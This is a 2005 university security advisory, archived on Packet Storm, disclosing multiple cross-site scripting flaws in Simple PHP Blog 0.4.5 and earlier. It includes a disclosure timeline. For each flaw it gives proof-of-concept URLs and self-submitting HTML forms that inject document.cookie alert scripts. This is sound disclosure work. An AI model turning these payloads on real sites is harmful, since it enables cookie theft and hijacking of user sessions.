what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TUVSA-0511-001.txt

TUVSA-0511-001.txt
Posted Nov 3, 2005
Authored by Nenad Jovanovic | Site seclab.tuwien.ac.at

Simple PHP Blog versions 0.4.5 and below are susceptible to multiple cross site scripting attacks.

tags | exploit, php, xss
SHA-256 | d4d034b85b65608e369d70db521ab6f2b868bf1dd511e823e402ce734243ac24

TUVSA-0511-001.txt

Change Mirror Download
===========================================================
Simple PHP Blog: Multiple XSS Vulnerabilities
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0511-001, November 2, 2005
===========================================================


Affected applications
----------------------

Simple PHP Blog (www.simplephpblog.com)

Versions 0.4.5 and prior.


Description
------------


1.) preview_cgi.php, part 1

There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php on line 126: The variable $entry is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested with the following URL:

http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>

The fields "your-server" and "path-to-sphpblog" in the given URL have to be adjusted accordingly.


2.) preview_cgi.php, part 2

There is another cross-site scripting vulnerability in the file preview_cgi.php on line 129: The variable $temp_subject is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested by visiting a page structured
as follows:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

An analogous vulnerability affects preview_cgi.php on line 158:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>


3.) preview_static_cgi.php

In the file preview_static_cgi.php, there are four vulnerabilities resembling those in preview_cgi.php:

- line 73, variable $entry; example URL:

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>

- line 76, variable $temp_subject; example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

- line 158, variable $temp_text; example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

- line 108, variable $temp_file_name is set to $_POST['file_name'] if $_GET['entry'] is not set, and set to $entry otherwise
(in this case, see vulnerability on line 73); example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

4) colors.php

The variables variables $preset_name and $result on line 187 of the file colors.php are also vulnerable to XSS. This can be tested with one of the following two pages:

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

or

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>


Solution
---------

The authors are currently working on a new version of Simple PHP Blog that is
supposed to fix these vulnerabilities.

Timeline:

September 22, 2005:
Vulnerabilities reported via the contact form under
http://www.simplephpblog.com/contact.php.

September 29, 2005:
Message posted to the project-related SourceForge bug forum
(http://sourceforge.net/projects/sphpblog) due to missing response.

October 1, 2005:
Developers reply via SourceForge.

October 2, 2005:
Vulnerabilities reported via the e-mail address given in the previous reply.

Until November 2, 2005:
Occasional contact via e-mail, announcement of advisory release date one week
in advance remained uncommented.

November 2, 2005:
Advisory submission.


References
-----------

http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt


Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    0 Files
  • 3
    May 3rd
    0 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close